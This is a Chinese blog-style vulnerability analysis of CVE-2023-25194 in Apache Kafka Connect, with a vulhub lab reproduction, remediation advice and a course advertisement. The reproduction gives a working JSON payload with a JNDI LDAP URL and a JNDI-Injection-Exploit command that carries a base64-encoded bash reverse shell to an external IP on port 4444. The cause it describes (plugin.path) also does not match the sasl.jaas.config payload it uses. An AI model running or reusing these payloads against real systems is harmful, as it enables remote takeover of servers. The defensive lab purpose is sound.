news 2026/7/28 19:53:41

CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2023-25194 漏洞分析:Apache Kafka Connect 远程代码执行漏洞

漏洞概述

CVE-2023-25194是 Apache Kafka Connect 中披露的一个高危远程代码执行(RCE)漏洞,允许未经授权的攻击者通过 REST API 构造恶意请求,在服务器上执行任意代码。

  • 漏洞编号:CVE-2023-25194

  • 影响组件:Apache Kafka Connect

  • 漏洞类型:远程代码执行(RCE)

  • 漏洞等级:高危

  • 公开时间:2023 年 2 月

  • 修复版本:Apache Kafka 3.4.0+


漏洞成因分析

Kafka Connect 是 Apache Kafka 提供的一个插件化框架,允许用户将 Kafka 与外部系统(如数据库、Elasticsearch、HDFS 等)连接。

Kafka Connect 提供了一个 REST 接口,允许动态上传 connector 的配置和插件路径。漏洞的关键在于:

服务端未对 plugin.path 参数进行严格限制,允许攻击者加载任意目录下的恶意 JAR 包。

攻击者可以伪造一个 connector 配置请求,指定plugin.path为任意路径(如/tmp/evil/),并配合上传的恶意 JAR 文件,使 Kafka Connect 加载恶意类并执行,从而实现远程代码执行。


影响范围

受影响版本:

  • 所有 Apache Kafka <3.4.0的版本(主要影响 Kafka Connect 组件)

前提条件:

  • Kafka Connect 的 REST API 对外开放(默认监听在 8083 端口)

  • 未启用认证或鉴权机制

  • 攻击者能够上传或指定 JAR 路径

复现流程

环境使用vulhub

docker启动靶场环境—浏览器访问:xx.xx.xx.xx.:8888

首先来到漏洞位置

之后单击Apply,进行抓包

将下面的JSON替换

{ "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.200.138:1389/tdk4dd\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\\s\\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{ }, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 } }

开启rmi服务的工具(启动的JAVA版本为java 8)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.200.138

同时监听4444端口,此端口为上述base64加密的反弹shell端口

将上面代码中的IP:port替换成自己工具生成的命令

注意!!!必须要使用ldap://xxxx/xxxx,使用rmi的工具有回显,但是监听不到

替换完后进行放包

工具回显,监听成功

修复方案

Apache 在 3.4.0 版本中修复了该漏洞,修复措施包括:

  • 限制 plugin.path 参数来源

  • 禁止通过 REST 接口动态配置 plugin 路径

  • 强制使用服务端配置中明确指定的 plugin 路径

建议措施:

  1. 立即升级Kafka 至3.4.0 或以上版本

  2. 禁止公网直接访问 Kafka Connect REST 接口

  3. 启用认证与授权机制(如 Basic Auth、OAuth)

  4. 设置白名单 plugin.path,避免动态加载任意目录

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/28 11:14:18

33、Linux备份与文件共享全攻略

Linux备份与文件共享全攻略 在Linux系统的使用中,备份和文件共享是非常重要的功能。下面将为大家详细介绍Linux系统中除tar之外的其他重要归档工具,以及如何使用Samba进行文件共享。 其他归档工具 虽然tar是Linux系统中最常用的归档工具,但还有dump/restore和cpio这两个重…

作者头像 李华
网站建设 2026/7/27 20:00:30

记录嵌入式学习心得2:烟雾报警器项目

1.任务目标&#xff1a;检测烟雾浓度&#xff0c;达到一定浓度后响起警报并打开风扇。可以控制临界值的大小&#xff0c;并在lcd1602上显示临界值和当前烟雾值。 2.所需模块&#xff1a;lcd1602&#xff0c;继电器&#xff08;模拟风扇&#xff09;&#xff0c;蜂鸣器&#xff…

作者头像 李华
网站建设 2026/7/25 13:23:47

Qt 入门实战(三):对象树与控件生命周期

在前两篇博客中&#xff0c;我们讲了 Qt HelloWorld 的两种实现方式&#xff0c;并顺便提到了 控件的生命周期 和 为什么没有 delete 也不会内存泄漏。 这一篇我们专门聊聊 Qt 的核心机制之一&#xff1a;对象树&#xff08;Object Tree&#xff09;。一、对象树是什么 对象树本…

作者头像 李华
网站建设 2026/7/27 14:41:05

5、设备通信控制与线程同步技术解析

设备通信控制与线程同步技术解析 1. 设备通信与控制 在设备通信与控制领域,sysctl 是一个关键概念。通过 SYSCTL_ADD_* 宏创建的 sysctl 必须连接到父 sysctl,这可通过将 SYSCTL_STATIC_CHILDREN 或 SYSCTL_CHILDREN 作为父参数来实现。 SYSCTL_STATIC_CHILDREN 宏 :当连…

作者头像 李华
网站建设 2026/7/27 5:11:22

10、使用iptables进行NAT和数据包处理

使用iptables进行NAT和数据包处理 1. 连接跟踪助手模块 在网络环境中,对于一些特定协议,如FTP、IRC、TFTP、Amanda备份协议以及SCTP协议等,有相应的连接跟踪助手模块来提供支持,这些模块分别是IP_NF_FTP、IP_NF_IRC、IP_NF_TFTP、IP_NF_AMANDA和IP_NF_CT_PROTO_SCTP。若要…

作者头像 李华
网站建设 2026/7/28 3:34:11

DAY12@浙大疏锦行

笔记和作业使用bayes_opt库的流程1.# 定义目标函数def knn_cv_score(n_neighbors, weights, metric):"""输入KNN参数&#xff0c;返回交叉验证平均准确率参数说明&#xff1a;- n_neighbors: 近邻数&#xff08;整数&#xff0c;贝叶斯优化会自动处理浮点转整数…

作者头像 李华